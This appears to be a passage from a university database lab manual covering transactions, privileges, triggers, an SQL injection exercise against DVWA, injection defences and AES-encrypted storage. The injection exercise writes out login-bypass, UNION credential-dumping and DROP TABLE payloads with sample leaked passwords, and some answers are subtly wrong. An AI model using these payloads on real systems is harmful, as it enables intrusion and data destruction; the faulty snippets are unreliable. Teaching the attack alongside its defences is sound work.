ROLLBACK TO SAVEPOINT_NAME;
Following is an example where you plan to delete the three different records from the
CUSTOMERS table. You want to create a SAVEPOINT before each delete, so that you can
ROLLBACK to any SAVEPOINT at any time to return the appropriate data to its original state.
Example
Consider the CUSTOMERS table having the following records.
+ + + + + +
| ID | NAME | AGE | ADDRESS | SALARY |
+ + + + + +
| 1 | Ramesh | 32 | Ahmedabad | 2000.00 |

40
| 2 | Khilan | 25 | Delhi | 1500.00 |
| 3 | kaushik | 23 | Kota | 2000.00 |
| 4 | Chaitali | 25 | Mumbai | 6500.00 |
| 5 | Hardik | 27 | Bhopal | 8500.00 |
| 6 | Komal | 22 | MP | 4500.00 |
| 7 | Muffy | 24 | Indore | 10000.00 |
+ + + + + +
The following code block contains the series of operations.

SQL> SAVEPOINT SP1;

Savepoint created.

SQL> DELETE FROM CUSTOMERS WHERE ID=1;

1 row deleted.

SQL> SAVEPOINT SP2;

Savepoint created.

SQL> DELETE FROM CUSTOMERS WHERE ID=2;

1 row deleted.

SQL> SAVEPOINT SP3;

Savepoint created.

SQL> DELETE FROM CUSTOMERS WHERE ID=3;

1 row deleted
Now that the three deletions have taken place, let us assume that you have changed your mind
and decided to ROLLBACK to the SAVEPOINT that you identified as SP2. Because SP2 was
created after the first deletion, the last two deletions are undone −
SQL> ROLLBACK TO SP2;
Rollback complete.
Output
Notice that only the first deletion took place since you rolled back to SP2.
SQL> SELECT * FROM CUSTOMERS;
+ + + + + +
| ID | NAME | AGE | ADDRESS | SALARY |
41
+ + + + + +
| 2 | Khilan | 25 | Delhi | 1500.00 |
| 3 | kaushik | 23 | Kota | 2000.00 |
| 4 | Chaitali | 25 | Mumbai | 6500.00 |
| 5 | Hardik | 27 | Bhopal | 8500.00 |
| 6 | Komal | 22 | MP | 4500.00 |
| 7 | Muffy | 24 | Indore | 10000.00 |
+ + + + + +
6 rows selected.
The RELEASE SAVEPOINT Command
The RELEASE SAVEPOINT command is used to remove a SAVEPOINT that you have
created. The syntax for a RELEASE SAVEPOINT command is as follows.
RELEASE SAVEPOINT SAVEPOINT_NAME;
Once a SAVEPOINT has been released, you can no longer use the ROLLBACK command to
undo transactions performed since the last SAVEPOINT.
The SET TRANSACTION Command
The SET TRANSACTION command can be used to initiate a database transaction. This
command is used to specify characteristics for the transaction that follows. For example, you can
specify a transaction to be read only or read write.
Syntax
The syntax for a SET TRANSACTION command is as follows.
SET TRANSACTION [ READ WRITE | READ ONLY ];

Queries:
Tables Used: Consider the following tables namely “DEPARTMENTS” and
“EMPLOYEES”
Their schemas are as follows , Departments ( dept _no , dept_ name , dept_location );
Employees ( emp_id , emp_name , emp_salary );

Q1: Develop a query to grant all privileges of employees table into departments table
Ans: Grant all on employees to departments; Grant
succeeded.

Q2: Develop a query to grant some privileges of employees table into departments table
Ans: Grant select, update , insert on departments to departments with grant option; Grant
succeeded.

Q3: Develop a query to revoke all privileges of employees table from departments
table Ans: Revoke all on employees from departments; Revoke succeeded.

42
Q4: Develop a query to revoke some privileges of employees table from departments table
Ans: Revoke select, update , insert on departments from departments; Revoke
succeeded.

Q5: Write a query to implement the save point

Ans: SAVEPOINT S1;
Savepoint created.
select * from
emp;
EMPNO ENAME JOB DEPTNO SAL

1 Mathi AP 1 10000
2 Arjun ASP 2 15000
3 Gugan ASP 1 15000
4 Karthik Prof 2 30000
INSERT INTO EMP VALUES(5,'Akalya','AP',1,10000); 1 row created. select *
from emp;
EMPNO ENAME JOB DEPTNO SAL

1 Mathi AP 1 10000
2 Arjun ASP 2 15000
3 Gugan ASP 1 15000
4 Karthik Prof 2 30000
5 Akalya AP 1 10000

Q6: Write a query to implement the rollback

Ans: rollback s1; select * from emp;
EMPNO ENAME JOB DEPTNO SAL

1 Mathi AP 1 10000
2 Arjun ASP 2 15000
3 Gugan ASP 1 15000
4 Karthik Prof 2 30000

Q6: Write a query to implement the commit

Ans: COMMIT;
Commit complete.

Result:
Thus the DCL and TCL commands are written and executedsuccessfully.
43
Ex No:8 Write SQL Triggers for insert, delete, and update operations in a
Date: database table.

Aim:
To Write SQL Triggers for insert, delete, and update operations in a database table.
Procedure:
Trigger:

Triggers are stored programs, which are automatically executed or fired when some events
occur. Triggers are, in fact, written to be executed in response to any of the following events −
 A database manipulation (DML) statement (DELETE, INSERT, or UPDATE)
 A database definition (DDL) statement (CREATE, ALTER, or DROP).
 A database operation (SERVERERROR, LOGON, LOGOFF, STARTUP,
or SHUTDOWN).

Table creation:
Create table employee22(empid INT,empname varchar(20),empdept varchar(20),salary INT);

Example:

CREATE OR REPLACE TRIGGER

display_salary BEFORE DELETE OR UPDATE
ON employee22 FOR EACH ROW
DECLARE
sal_diff INT;
BEGIN
sal_diff := :NEW.salary - :OLD.salary;
dbms_output.put_line('Old salary: ' || :OLD.salary);
dbms_output.put_line('New salary: ' || :NEW.salary);
dbms_output.put_line('Salary difference: ' || sal_diff);
END;
Trigger to ensure that no employee of age less than 25 can be inserted in the database.
CREATE TRIGGER Check_age BEFORE INSERT ON employee
FOR EACH ROW
BEGIN
IF NEW.age < 25 THEN
SIGNAL SQLSTATE '45000'
SET MESSAGE_TEXT = 'ERROR:
AGE MUST BE ATLEAST 25 YEARS!';
END IF;
END;
/
Result: Thus the SQL Triggers for insert, delete, and update operations in a database table is
created and executed successfully.

44
 EX NO:9 USE SQLI TO AUTHENTICATE AS ADMINISTRATOR,
TO GET UNAUTHORIZED ACCESS OVER
DATE: SENSITIVEDATA, TO
INJECT MALICIOUS STATEMENTS INTO FORM
FIELD.
.

AIM
To use sqli to authenticate as administrator, to get unauthorized access over
sensitive data, to inject malicious statements into form field.

PROCEDURE

Setup Environment:
 Install a vulnerable web application like DVWA.
 Start the web server environment.
 Access the application through a web browser.

Bypass Authentication:
 Find the login form.
 Enter ' OR '1'='1' -- in the username field.
 Provide any value in the password field.
 Attempt to log in.

Access Sensitive Data:

 Explore the application for areas accepting user input.
 Input ' UNION SELECT username, password FROM users -- in the
appropriate field.
 Observe the output for retrieved usernames and passwords.
45
Inject Malicious
Statements:
 Identify a form field or input parameter.
 Input '; DROP TABLE users; -- in the appropriate field.
 Check for confirmation of successful execution or
observe any changes in the application's behavior.
Observatio
n:  Analyze the outcomes of the above steps to understand
the impact of SQL injection vulnerabilities.

46
PROGRAM

Bypassing Authentication:
Username: admin' OR '1'='1' -- Password:
<any value>

Accessing Sensitive Data:

Username: ' UNION SELECT username, password FROM users -- Password: <any
value>

Injecting Malicious Statements:

; DROP TABLE users; --

47
OUTPUT

1. Bypassing
Authentication:
 Successful login as administrator or user with elevated
privileges.

Welcome, Administrator! You have successfully

logged in

2. Accessing Sensitive
Data:
 Displayed usernames and passwords of all users stored in
the
database.

Username admin Password admin123

Username user1 Password password123
Username user2 Password Secure pass

3. Injecting Malicious
Statements:
 Confirmation of successful execution of the injected
malicious statement.

The 'users' table has been dropped successfully.

48

RESULTS:
Successfully bypassed authentication, accessed sensitive data, and
executed malicious statements.
 EX NO:10 WRITE PROGRAMS THAT WILL DEFEND AGAINST
THE
DATE: SQLI ATTACKS GIVEN IN THE PREVIOUS
EXERCISE.

AIM

To Write programs that will defend against the SQLi attacks given in the
previous exercise.

PROCEDURE

1. Parameterized
Queries:
 Use prepared statements with placeholders for user input.
 Bind input values to parameters in the SQL query.
 Execute the query to retrieve data securely.

2. Input
Sanitization:
 Filter and sanitize user input before using it in SQL queries.
 Use built-in functions or libraries to sanitize input and
remove potentially harmful characters.
 Validate input to ensure it meets expected criteria.

3. Limiting
Privileges:
 Implement role-based access control to restrict user
privileges.
 Assign specific permissions based on user roles.
 Ensure that sensitive operations are only accessible to
authorized users.

49
PROGRAM

Parameterized Queries:
$username = $_POST['username'];
$password = $_POST['password'];
$stmt = $pdo->prepare("SELECT * FROM users WHERE username =
:username AND password = :password");
$stmt->execute(['username' => $username, 'password' => $password]);
$user = $stmt->fetch();

Input Sanitization (Using PDO):

$username = filter_input(INPUT_POST, 'username', FILTER_SANITIZE_STRING);
$password = filter_input(INPUT_POST, 'password', FILTER_SANITIZE_STRING);
$stmt = $pdo->prepare("SELECT * FROM users WHERE username =
:username AND password = :password");
$stmt->execute(['username' => $username, 'password' => $password]);
$user = $stmt->fetch();

Limiting Privileges:
if ($user['role'] === 'admin') {
// Perform administrative tasks
} else {
// Perform regular user tasks
}

50
OUTPUT

Parameterized
Queries:
The user is successfully retrieved from the database using parameterized queries,
ensuring protection against SQL injection attacks.

$user =
[ 'id' =>
1,
'username' => 'example_user',
'password' => 'hashed_password',
'role' => 'regular'
];

Input
Sanitization:
User input is sanitized before executing the query, preventing SQL injection
vulnerabilities and ensuring data integrity.

$username = 'example_user';
$password = 'password123';

Limiting
Privileges:
Depending on the user's role, either administrative tasks or regular user tasks are
performed, demonstrating role-based access control and protection against
unauthorized actions

RESULT
Parameterized Queries: Secure user authentication. Input Sanitization: Prevention of
SQL injection vulnerabilities. Limiting Privileges: Role-based access control for enhanced
security.

51
 EX NO:11
WRITE QUERIES TO INSERT ENCRYPTED DATA
DATE: INTO THE DATABASE AND TO RETRIEVE THE
DATA USING DECRYPTION

AIM

To Write queries to insert encrypted data into the database and to retrieve the data
using decryption.

PROCEDURE

1. Inserting Encrypted
Data:
 Encrypt the data using a cryptographic algorithm (e.g.,
AES) with a strong encryption key.
 Insert the encrypted data into the database.

2. Retrieving and Decrypting

Data:
 Retrieve the encrypted data from the database.
 Decrypt the data using the same cryptographic
algorithm and encryption key used for encryption.

52
PROGRAM

Inserting Encrypted Data:

INSERT INTO users (username, encrypted_password)
VALUES ('user1', AES_ENCRYPT('password123', 'encryption_key'));

Retrieving and Decrypting Data:

SELECT id, username, AES_DECRYPT(encrypted_password, 'encryption_key') AS
decrypted_password
FROM users
WHERE username = 'user1';

53
OUTPUT

1. Inserting Encrypted
Data:
Successfully inserted encrypted data into the database.

Encrypted data inserted successfully

2. Retrieving and Decrypting

Data:
Retrieved and decrypted data from the database.

Username: user1
Decrypted Password: password123

RESULT
Insert encrypted data into the database and retrieve it using decryption
was executed successfully. 54